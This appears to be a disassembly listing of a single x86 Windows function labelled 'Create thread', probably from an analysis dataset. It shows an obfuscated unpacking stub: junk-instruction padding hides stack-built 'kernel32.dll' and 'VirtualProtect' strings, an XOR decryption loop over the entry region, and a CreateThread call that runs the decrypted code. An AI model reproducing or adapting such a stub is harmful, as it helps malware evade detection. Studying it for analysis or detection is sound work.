Function at 0x4b359c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
pushfd
push esi
add esp, 4
popfd
call fcn.004b39b9
pushfd
xor esi, 0x43b33ebd
xor esi, 0x43b33ebd
popfd
lea eax, [ebp - 0xd8]
push edi
pop edi
pushfd
push 0x8b666e3
add esp, 4
popfd
mov ebx, 0x61
mov esi, esi
xchg esi, esi
add bx, 0xa
pushfd
push 0x61b67fa9
add esp, 4
popfd
mov word [eax], bx
push ebx
pop ebx
xchg ecx, eax
xchg ecx, eax
sub bx, 6
pushfd
push 0x8572b14d
add esp, 4
popfd
mov word [eax + 2], bx
mov esi, esi
add bx, 0xd
xchg edx, edx
xchg edi, ebx
xchg ebx, edi
mov word [eax + 4], bx
push edi
push eax
pop eax
pop edi
pushfd
xor edx, 0x7d7e89c
xor edx, 0x7d7e89c
popfd
sub bx, 4
pushfd
xor edx, 0x61cd8ad4
xor edx, 0x61cd8ad4
popfd
xchg edi, esi
xchg esi, edi
mov word [eax + 6], bx
pushfd
push ebx
add esp, 4
popfd
sub bx, 9
pushfd
inc ebx
dec ebx
popfd
xchg ebx, eax
xchg ebx, eax
mov word [eax + 8], bx
pushfd
xor edi, 0x8f87a5ce
xor edi, 0x8f87a5ce
popfd
push ebx
push edx
pop edx
pop ebx
add bx, 7
nop
mov word [eax + 0xa], bx
push eax
pop eax
sub bx, 0x39
mov edx, edx
mov word [eax + 0xc], bx
mov esi, esi
pushfd
inc edx
dec edx
popfd
dec bx
xchg ebx, ebx
push esi
push edx
pop edx
pop esi
mov word [eax + 0xe], bx
push eax
push esi
pop esi
pop eax
sub bx, 4
push edx
pop edx
push edx
push ecx
pop ecx
pop edx
mov word [eax + 0x10], bx
pushfd
inc edi
dec edi
popfd
pushfd
push 0x8a8f5f79
add esp, 4
popfd
add bx, 0x36
pushfd
push 0xd2b5bdd
add esp, 4
popfd
pushfd
push 0xc77251fb
add esp, 4
popfd
mov word [eax + 0x12], bx
push edx
pop edx
pushfd
push edx
add esp, 4
popfd
add bx, 8
push ecx
pop ecx
mov word [eax + 0x14], bx
pushfd
xor edx, 0xd07679c7
xor edx, 0xd07679c7
popfd
mov word [eax + 0x16], bx
push edi
push edx
pop edx
pop edi
push edi
push eax
pop eax
pop edi
mov word [eax + 0x18], 0
xchg esi, ebx
xchg ebx, esi
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
push esi
pop esi
pushfd
push ebx
add esp, 4
popfd
mov dword [ebp - 0x10], eax
pushfd
xor ecx, 0x88cb6b93
xor ecx, 0x88cb6b93
popfd
lea eax, [ebp - 0xd8]
pushfd
inc ebx
dec ebx
popfd
mov ebx, 0x61
push ecx
push edx
pop edx
pop ecx
mov esi, esi
sub bl, 0xb
xchg ecx, edx
xchg edx, ecx
mov byte [eax], bl
xchg ecx, eax
xchg ecx, eax
add bl, 0x13
xchg edi, eax
xchg edi, eax
pushfd
inc eax
dec eax
popfd
mov byte [eax + 1], bl
pushfd
xor ecx, 0x832e1a40
xor ecx, 0x832e1a40
popfd
add bl, 9
xchg ecx, ecx
pushfd
push ebx
add esp, 4
popfd
mov byte [eax + 2], bl
pushfd
push esi
add esp, 4
popfd
add bl, 2
xchg edx, edi
xchg edi, edx
mov byte [eax + 3], bl
pushfd
push ecx
add esp, 4
popfd
mov ecx, ecx
inc bl
push edi
push esi
pop esi
pop edi
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 4], bl
pushfd
push eax
add esp, 4
popfd
sub bl, 0x14
mov eax, eax
push edi
push esi
pop esi
pop edi
mov byte [eax + 5], bl
pushfd
push eax
add esp, 4
popfd
add bl, 0xb
pushfd
push ebx
add esp, 4
popfd
mov byte [eax + 6], bl
pushfd
push edx
add esp, 4
popfd
mov esi, esi
sub bl, 0x1c
push edx
push ebx
pop ebx
pop edx
mov byte [eax + 7], bl
pushfd
push 0x1ff370f1
add esp, 4
popfd
add bl, 0x22
pushfd
inc eax
dec eax
popfd
push edx
push edi
pop edi
pop edx
mov byte [eax + 8], bl
mov esi, esi
pushfd
push edx
add esp, 4
popfd
sub bl, 3
pushfd
xor ebx, 0xc6613ec5
xor ebx, 0xc6613ec5
popfd
xchg ebx, ebx
mov byte [eax + 9], bl
xchg esi, esi
push edx
pop edx
add bl, 5
push ecx
push edi
pop edi
pop ecx
mov byte [eax + 0xa], bl
pushfd
push edx
add esp, 4
popfd
sub bl, 0xf
mov ecx, ecx
push ebx
push edx
pop edx
pop ebx
mov byte [eax + 0xb], bl
push edx
push ebx
pop ebx
pop edx
sub bl, 2
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 0xc], bl
mov edi, edi
pushfd
xor edx, 0xea879370
xor edx, 0xea879370
popfd
add bl, 0x11
mov edx, edx
mov byte [eax + 0xd], bl
pushfd
xor eax, 0x90842079
xor eax, 0x90842079
popfd
pushfd
xor ebx, 0xc109064d
xor ebx, 0xc109064d
popfd
mov byte [eax + 0xe], 0
pushfd
push ebx
add esp, 4
popfd
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
xchg esi, esi
pushfd
inc ecx
dec ecx
popfd
mov dword [ebp - 0xc], eax
pushfd
push eax
add esp, 4
popfd
pushfd
xor ebx, 0x9740f47
xor ebx, 0x9740f47
popfd
lea eax, [ebp - 8]
pushfd
push edi
add esp, 4
popfd
push eax
push 4
push 0x76e5e
push entry0
call dword [ebp - 0xc]
pushfd
xor esi, 0x7cb35984
xor esi, 0x7cb35984
popfd
pushfd
xor ecx, 0x777e4f0f
xor ecx, 0x777e4f0f
popfd
mov edi, entry0
pushfd
push edi
add esp, 4
popfd
mov esi, 0x40100e
push eax
pop eax
mov edi, edi
mov ecx, 0x76e5e
pushfd
push ecx
add esp, 4
popfd
mov edx, 0xfe3c21b2
xchg ebx, ebx
pushfd
xor esi, 0x21f3359d
xor esi, 0x21f3359d
popfd
mov ebx, 0x274c9b95
pushfd
push 0x6d360246
add esp, 4
popfd
push esi
pop esi
cld
mov eax, eax
lodsb al, byte [esi]
xchg esi, esi
xor al, dl
xchg edi, edi
stosb byte es:[edi], al
xchg ecx, ecx
ror edx, 5
mov ebx, ebx
imul edx, edx, 7
mov ecx, ecx
test ebx, 1
xchg ebx, ebx
je 0x4b3927
xchg edx, edx
add esi, 1
mov eax, eax
ror ebx, 1
xchg esi, esi
dec ecx
xchg esi, esi
test ecx, ecx
xchg edi, edi
jne 0x4b3900
xchg ebx, ebx
mov edi, edi
lea eax, [ebp - 8]
mov esi, esi
push eax
push 0x20
push 0x76e5e
push entry0
call dword [ebp - 0xc]
xchg ebx, ecx
xchg ecx, ebx
lea eax, [ebp - 4]
push eax
push ebx
pop ebx
pop eax
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
pushfd
xor esi, 0xa046b32a
xor esi, 0xa046b32a
popfd
pushfd
xor ebx, 0xc80bd4db
xor ebx, 0xc80bd4db
popfd
push eax
push edi
pop edi
pop eax
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
pushfd
push ecx
add esp, 4
popfd
jmp 0x4b397a